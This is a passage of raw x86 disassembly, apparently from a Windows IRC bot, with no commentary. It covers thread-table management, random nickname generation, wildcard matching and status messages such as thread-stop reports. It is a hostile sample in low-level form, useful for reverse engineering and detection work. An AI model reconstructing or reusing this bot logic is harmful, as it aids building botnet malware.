		jl	short loc_40ADAD

loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26A0DE3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431280
		push	eax
		push	esi
		nop
		call	near ptr 26D0000h
		movsx	eax, byte_431280
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A0DE3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431284
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D158
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26E0570h
		nop
		call	near ptr 26A0DE3h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_4312AC

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_4312A8
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_4312A4
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_4312A0
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43129C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431298
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431294
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431290

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431288
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26A0DE3h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312B8
		jnz	short loc_40B022
		mov	eax, offset dword_43D158

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_4312B0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312B8
		jnz	short loc_40B04D
		mov	eax, offset dword_43D158

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D5BC

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D634
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D5C0[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCE0

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACE0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCE0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEE0[esi], eax
		and	dword_43DEE4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEE8[esi], 0
		mov	dword_43DEEC[esi], eax
		and	byte_43DEF8[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2E4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 4313B8h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C1C468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0E0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEF4[esi]
		lea	edi, dword_43DEF4[esi]
		call	near ptr 26A0E5Dh
		nop
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEE8[esi]
		mov	dword_43DEE0[esi], ebx
		mov	dword_43DEE4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEEC[esi]
		mov	byte ptr dword_43DCE0[esi], bl
		mov	byte_43DEF8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB03C
		lea	esi, dword_43DEF0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB03C
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCE0

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACE0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEE4

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEE4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEE0

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEE0

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEF4[eax], ecx
		mov	dword_43DEE0[eax], ecx
		mov	dword_43DEE4[eax], ecx
		mov	dword_43DEE8[eax], ecx
		mov	dword_43DEEC[eax], ecx
		mov	dword_43DEF0[eax], ecx
		mov	byte ptr dword_43DCE0[eax], cl
		mov	byte_43DEF8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317D4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431438, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431440

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4317C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
